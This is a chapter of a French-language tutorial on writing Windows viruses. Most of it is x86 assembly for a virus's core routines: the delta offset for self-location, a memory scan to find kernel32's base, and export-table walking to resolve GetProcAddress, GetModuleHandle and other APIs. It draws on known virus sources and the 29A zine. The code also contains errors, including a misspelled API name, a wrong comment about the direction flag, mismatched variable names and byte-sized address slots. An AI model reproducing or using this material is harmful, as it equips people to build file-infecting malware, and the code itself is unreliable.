CHAPITRE 5 – Un peu de code pour commencer

1) le delta offset

Il est indispensable de connaître précisément la position du virus pour que l’infection soit un succès. Or, lorsqu’un fichier est infecté, on ne peut prédire exactement où se trouvera le début du virus. Pour remédier à ce problème, il existe plusieurs techniques mais leur but est identique: situer le virus dans le programme infecté; la plus simple de ces technique est celle du delta offset:

Call delta ; on appelle le label delta. L’adresse de retour est placée sur la pile

delta: ; le label en question

pop ebp ; on récupère l’adresse de retour dans le registre ebp

sub ebp, offset delta ; on soustrait à ebp l’adresse du label delta afin de localiser le début du virus

2) obtenir l’image_base de kernel32

Comme je le disais dans le chapitre 3, lorsque nous lançons un programme, c’est comme si il était appelé par kernel32.dll. Et de plus, un CALL implique une adresse de retour à placer sur la pile. Il faut donc stocker cette adresse, puis la décrémenter jusqu’à trouver la signature ZM (MZ à l’envers, architecture Intel oblige). Ensuite nous irons voir à l’adresse indiquée par l’offset 0000003Ch afin de vérifier s’il y a la signature EP (PE à l’envers).

GetK32_start:

mov esi, [esp] ; On place l’adresse de retour (pointée par esp) dans le registre esi.

and esi, 0FFFF0000h ; Permet d’aligner cette adresse sur 64k (cf. plus bas).

inc esi ; On incrémente esi juste pour annuler le dec esi qui arrive.

loop:

dec esi ; On décrémente esi à chaque passage dans la boucle, et ce tant qu’on n’a pas la signature voulue.

cmp word ptr [esi], “ZM” ; Vérifie qu’on est au début de la page grâce à la signature.

jnz loop ; On parcours la page à reculons tant qu’on a pas la signature.

mov edi, [esi+3Ch] ; On place dans edi l’adresse du PE HEADER (c’est une RVA)

add edi, esi ; On ajoute à cette RVA l’image_base de kernel32 afin d’obtenir l’adresse réelle (on normalise).

cmp dword ptr [edi], “EP” ; On check la présence de la signature, qui confirme qu’on est au

jz WeGotK32 ; début du PE HEADER. Si c’est OK alors on bouge.

jmp loop ; Sinon on recommence la boucle.

WeGotK32:

mov [ebp+AdrPE], edi ; stock l’adresse du PE HEADER de kernel32.dll

mov [ebp+AdrKernel], esi ; stock l’adresse de kernel32.dll

GetK32_end

Si certaines choses relatives au PE ne sont pas claires, allez jeter un œil à la deuxième partie sur le PE. Dans les dernières lignes, on peu voir [ebp+quelquechose]; ce quelquechose est une variable qu’on a nommé au préalable (on va dire que c’est une boite qu’on met de coté pour l’instant mais qu’on garde sous la main pour l’ouvrir quand on aura besoin de son contenu). Le ebp c’est notre delta offset: grâce à lui, le virus arrive à se localiser dans le fichier qu’il infecte.

J’ai essayé d’être clair en mettant des couleur... Si des zones d’ombres persistent, n’hésitez pas à me contacter et à chercher d’autres sources d’information. Même chose s’il y a des erreurs (surtout s’il y a des erreurs!).

Petit mot sur le AND:

Cette instruction effectue un ET logique bit par bit entre des opérandes (opérande source et opérande destination), et stocke le résultat dans l’opérande de destination. Son fonctionnement est le suivant:

1 AND 1 = 1

1 AND 0 = 0

0 AND 1 = 0

0 AND 0 = 0

On voit que si au moins un des bit est à zéro, alors le résultat donne zéro. Prenons la ligne de tout à l’heure:

and esi , 0FFFF0000h

ESI est l'opérande destination, et 0FFFF0000h est l'opérande source.

Cette instruction va donc mettre les 4 derniers chiffres (de ESI) à zéro, ce qui permet de récupérer un multiple de 64k dans l’opérande destination, ESI. On choisi un multiple de 64k parce que kernel32.dl est toujours aligné sur 64k.

3) Le moteur de recherche d’API

J’ai choisi de vous présenter une méthode simple, celle utilisant les noms des API. Sachez qu’il existe d’autres méthodes, comme les checksum ou les crc32. Après avoir lu une dizaine de codes sources, je vous propose un mix entre les virus euphoria de rikenar et Aztec v1.01 de Billy Belcebu. On considère que la liste des API utilisées est à la fin du code source, sous une forme du type :

Api_list

NGetProcAddress db "GetProcAddess",0

NGetModuleHandleA db "GetModuleHandleA",0

NExitProcess db "ExitProcess",0

db 0BBh

###### Le "N" est un préfixe de notre choix, pour moi il signifie "nom". On peut dire que c’est un panneau indicateur qui dit: "Hého c’est là que la liste des noms commence! ". Le ",0" indique la fin de la chaîne. Le 0BBh est un marqueur qui nous servira pour savoir que la liste est terminée.

AdrGetProcAddress dd 0

AdrGetModuleHandle dd 0

AdrExitProcess dd 0

Ici, Le préfixe "Adr" (au choix, comme tout à l’heure) indique que le début de la liste des adresses commence. On les initialise à 0, mais elles contiendront les bonnes adresses plus tard.

La première étape est de se placer au début de l’Export table de kernel32.dll:

mov edi, [ebp+AdrPE] ; On met dans edi l’adresse du PE.

mov esi, [ebp+AdrKernel] ; On met dans esi l’adresse de kernel32.

mov edi, [edi+78] ; edi contient la RVA de l’export table.

add edi, esi ; On normalise avec l’image_base de kernel32, donc edi pointe au début de l’export table.

La deuxième étape consiste à trouver et sauvegarder les adresses (sous forme de VA) suivantes(voir chapitre 3) :

EXPORT ADDRESS TABLE RVA

EXPORT NAME POINTER TABLE RVA

EXPORT ORDINAL RVA

let's go coding:

La troisième étape consiste à calculer l’adresse de GetProcAddress:

pour cela, on parcours la name_pointer_table afin de trouver sa position, et une fois qu’on a trouvé le nom de l’API on utilise l’algorithme du chapitre 3 pour en calculer l’adresse:

xor ecx, ecx ; ecx est notre compteur. Le xor permet une mise à 0

mov edx, esi ; edx contient l’image_base de kernel32

mov esi, [ebp+AdrNamePointer] ; esi pointe sur le début de la name_pointer_table

##################################################################################################

cherche_GPA:

lodsd ; La RVA pointé par esi est mise dans eax.

add eax, edx ; C’est une RVA, il faut la normaliser, puis on l’envoie dans edi,

mov edi, eax ; qui va maintenant pointer sur l’endroit de l’export_table où sont stockés tous les noms des exports.

push esi ; on sauvegarde esi sur la pile

lea esi, [ebp+NGetProcAddress] ; esi pointe sur la chaîne GetProcAddress (Cf. la liste dont on parle au début)

##################################################################################################

compare:

cld ; met DF à 1 car l’instruction cmpsb agit suivant l’état de DF

cmpsb ; compare esi et edi, et les incrémente si DF est à 1

jne recommence ; si le nom pointé par esi est différent de celui qu’on veut, alors on saute pour tester le nom suivant

cmp byte ptr [edi], 0 ; sinon, on regarde si on est à la fin de la chaîne

je ok ; si on est à la fin de la chaîne, on saute pour calculer l’adresse de l’API.

jmp compare

##################################################################################################

recommence:

pop esi ; récupère esi, il pointe de nouveau sur la name_pointer_table, mais sur la RVA suivante

inc ecx ; on incrémente le compteur qui permettra ensuite de calculer l’adresse de l’API

jmp cherche_GPA ; et on recommence à chercher

##################################################################################################

ok:

shl ecx, 1 ; multiplie la position de GetProcAddress par 2

add ecx, [ebp+ AdrOrdinalTable] ; ajoute l’addresse de l’ordinal_table

xor eax, eax ; eax est mis à 0

mov ax, word ptr [ecx] ; l’ordinal pointé par ecx est mis dans ax

shl eax, 2 ; puis on le multiplie par 4

add eax, [ebp+ AdrAddressTable] ; on ajoute l’adresse de l’address_table

mov ebx, [eax] ; ebx = RVA de GetProcAddress

add ebx, edx ; on normalise

mov [ebp+AdrGetProcAddress], ebx ; et on sauvegarde

Ce dernier bloc est l'algorythme présenté dans le chapitre 3.

note: Vous avez peut être remarqué les 3 lignes en italique; je sais pas vous, mais moi j’ai bloqué un moment sur elles. Si vous avez compris tant mieux, mais moi je me demandais pourquoi on normalisais une nouvelle fois. En fait, j’ai compris grâce à un tuto intitulé PE infection tutorial for beginner trouvé dans le 29A volume 7:

Quand on ajoute l’adresse de l’address_table, eax va pointer sur la RVA de l’API. En normalisant, on se retrouve dans une zone où sont stockés tous les noms des API exportées (la zone dont je parle au début du code). Donc si on approfondit un peu, voilà ce que ça veut dire: dans l’address_table, chaque RVA est stockée sous forme d’un DWORD (4 octets ou 4 bytes). Si on normalise la RVA suivante, on tombera dans la même zone mais sur le nom de l’API suivante… C’est aussi simple que ça! Je n’ai pas l’impression d’être très clair, mais il est 1H30 du mat’ donc je pense que vous me pardonnerez. Valà, je vais me faire un petit super street fighter 2 sur super nes pis après dodo! Allez voir la partie «export name table» du document de LiTlLe VxW, ça vaudra mieux que mon blabla.

La quatrième étape est l’utilisation de GetProcAddress pour trouver les API dont on a besoin, et en priorité GetModuleHandle:

Pour fonctionner, une API a besoin qu’on lui fournisse un certain nombre de paramètres avant d’être appelée, et GetProcAddress ne déroge pas à la règle. Ces paramètres sont:

- adresse de la DLL qui contient l’API dont on veut l’adresse

- nom de l’API dont on veut l’adresse

Notez que les paramètres ne peuvent pas êtres fournis dans un autre ordre.

Coding!

lea edi, [ebp+AdrGetModuleHandle] ; edi pointe sur l’endroit où on va stocker l’adresse de GetProcAddress

lea esi, [ebp+NGetModuleHandle] ; et esi pointe au début de la liste d’API à chercher

##################################################################################################

cherche_API:

push esi ; on passe les paramètres à l’API en les pushant sur la pile.

push [ebp+AdrKernel] ; Vous remarquerez qu’ils sont pushés dans l’ordre inverse à cause du fonctionnement de la pile.

call [ebp+ AdrGetProcAddress]; on appelle GetProcAddress elle nous renvoie l’adresse de GetModuleHandle qu’on

mov [edi], eax ; s’empresse de stocker dans la zone pointée par edi (cette zone vaut 4 octets, soit un dword)

add edi, 4; on augmente edi de 4 pour pouvoir pointer sur la zone libre suivante, afin de sauvegarder la prochaine adresse.

##################################################################################################

API_suivante:

inc esi ; incrémente esi

cmp byte ptr [esi], 0 ; pour checker si on est à la fin du nom de l’API

jne API_suivante ; loop jusqu’à ce qu’on soit à la fin de la chaîne

inc esi ; on incrémente esi pour ensuite checker

cmp byte ptr [esi], 0BBh ; la présence du marqueur indiquant la fin de la liste

jne cherche_API ; si on n’est pas à la fin de la liste, on passe à l’API suivante

La cinquième (et dernière!) étape est l’utilisation de GetModuleHandle:

On utilise cette API seulement si le virus a besoin d’APIs qui ne sont pas exportées par kernel32. On va prendre par exemple l’API MessageBoxA exportée par user32.dll. Pour fonctionner, GetModuleHandle n’a besoin que d’un paramètre: le nom de la DLL dont ont veut un handle.

Ça c’est une liste dont le rôle est même que celle du début, sauf qu’en plus elle stock le nom et l’adresse d’une DLL:

NUser32 db "User32.dll"

AdrUser db 0

NMsgBox db "MessageBoxA"

AdrMsgBox db 0

lea eax, [ebp+NUser32] ; eax pointe sur le nom de la DLL user32

push eax ; on le place sur la pile car GetModuleHandle en a besoin

call [ebp+AdrGetModuleHandle] ; puis on appelle l’API proprement dite

mov [ebp+AdrUser32], eax ; l’API nous revoie l’adresse (le handle) de la dll dans eax, ; qu’on sauvegarde

lea eax, [ebp+NMsgBox] ; eax pointe sur le nom de l’API dot on vaut l’adresse

push eax ; on push ce premier paramètre

push [ebp+AdrUser32] ; puis on push le second paramètre nécessaire à GetProcAdress

call [ebp+GetProcAddress] ; on appelle cette API qui nous renvoie l’adresse de

mov [ebp+AdrMsgBox], eax ; MessageBoxA dans eax qu’on sauvegarde

Et voilà ! On a fini avec la recherche d’API. Si vous en avez marre du code réjouissez vous, car on va maintenant passer au mapping qui nécessite un peu de théorie si on veut l’aborder sereinement.